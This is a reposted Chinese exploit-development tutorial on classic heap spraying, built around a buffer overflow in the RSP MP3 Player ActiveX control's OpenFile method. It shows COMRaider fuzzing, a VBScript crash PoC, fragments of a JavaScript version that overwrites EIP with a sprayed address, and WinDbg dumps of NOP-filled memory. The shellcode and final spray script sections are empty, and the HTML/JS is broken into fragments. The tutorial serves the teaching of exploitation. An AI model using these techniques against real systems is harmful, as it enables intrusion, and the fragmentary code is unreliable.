分享

Windows Exploit开发系列教程-堆喷射(1.2)

 霞客书斋 2017-09-29

可预测的地址:

- 0x05050505

- 0x06060606

- 0x07070707

- ....

另外一个具有特殊意义的地址是0x0c0c0c0c,第二部分将会解释。

\

0:014> d 04040404

04040404 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040414 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040424 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040434 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040444 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040454 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040464 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040474 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0:014> d 05050505

05050505 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050515 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050525 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050535 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050545 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050555 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050565 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050575 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0:014> d 06060606

06060606 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060616 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060626 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060636 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060646 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060656 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060666 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060676 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

再次重申第一部分只讲典型的堆喷射,精确喷射会在第二部分将。为什么需要精确喷射?

(1) 我们需要处理DEP;

(2) 我们正在利用UAF类漏洞;

所有的准备工作完成,是时候弹shell了。

崩溃重现

下载RSP MP3 Player 并安装。转到rspmp3ocx320sw.ocx文件所在文件夹,执行

regsvr32 rspmp3ocx320sw.ocx

注册ocx控件,你能看到一个弹框说文件已经成功注册。接着下载 COMRaider。COMRaider是一个很好用的ActiveX Fuzzer工具。用这个工具可以轻易得到POC。看看原始的exploit可以知道崩溃出现在OpenFile函数。如果我们只Fuzzing这个函数会得到14个异常例子。我没有花时间测试所有的文件,但我怀疑如果你测试完所有的文件会发现大量的可利用的崩溃!

\

COMRaider

\

OpenFile

\

Poor Programming

如果我们看下面这个造成崩溃的文件,可以看到它非常简单,类似于exploit-db那个。

'1.0' standalone='yes' ?>

id='DoneInVBS' debug='false' error='true'>

'clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' />

'vbscript'>

'File Generated by COMRaider v0.0.133 - https://labs.

'Wscript.echo typename(target)

'for debugging/custom prolog

targetFile = "C:\Documents and Settings\Administrator\Desktop\RSP MP3 Player\rspmp3ocx320sw.ocx"

prototype = "Function OpenFile ( ByVal Inputfile As String )"

memberName = "OpenFile"

progid = "RSPMP3_320.RSPMP3"

argCount = 1

arg1=String(1044, "A")

target.OpenFile arg1

/script>/job>/package>

我花费了一点时间把它从vb转为js. 我们可以控制EIP或SEH,但这不是我们关心的。我们想要从堆喷射中选一个可预测的指针覆写EIP。

head>

id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'>/object>

/head>

pointer='';

for (counter=0; counter"%06");

Oops.OpenFile(pointer);

/script>

/body>

/html>

调试结果如下:

eax=000003ea ebx=00000001 ecx=0000003c edx=0483fd08 esi=03ff0f64 edi=04840000

eip=03ed2fb7 esp=04826e90 ebp=0483ff9c iopl=0 nv up ei pl nz ac pe cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010217

rspmp3ocx1+0x2fb7:

03ed2fb7 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

0:014> g

(87c.f6c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=06060606 edx=7c9032bc esi=00000000 edi=00000000

eip=06060606 esp=04826ac0 ebp=04826ae0 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

06060606 ?? ???

0:014> d 06060606

06060606 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060616 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060626 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060636 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060646 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060656 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060666 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060676 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

可以看到EIP被覆盖为0x06060606。(其中一个可预测的指针) 然后执行流就报错了因为我们没有写任何东西在0x06060606。

Shellcode+游戏结束

我们首先生成一些可用的shellcode,记得将shellcode编码为javascript小端字节序。

\
\
\

好的,整理下最后的POC。增加一些注释和前面创建的堆喷射。最终的堆喷射脚本如下:

\
\
\
\

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多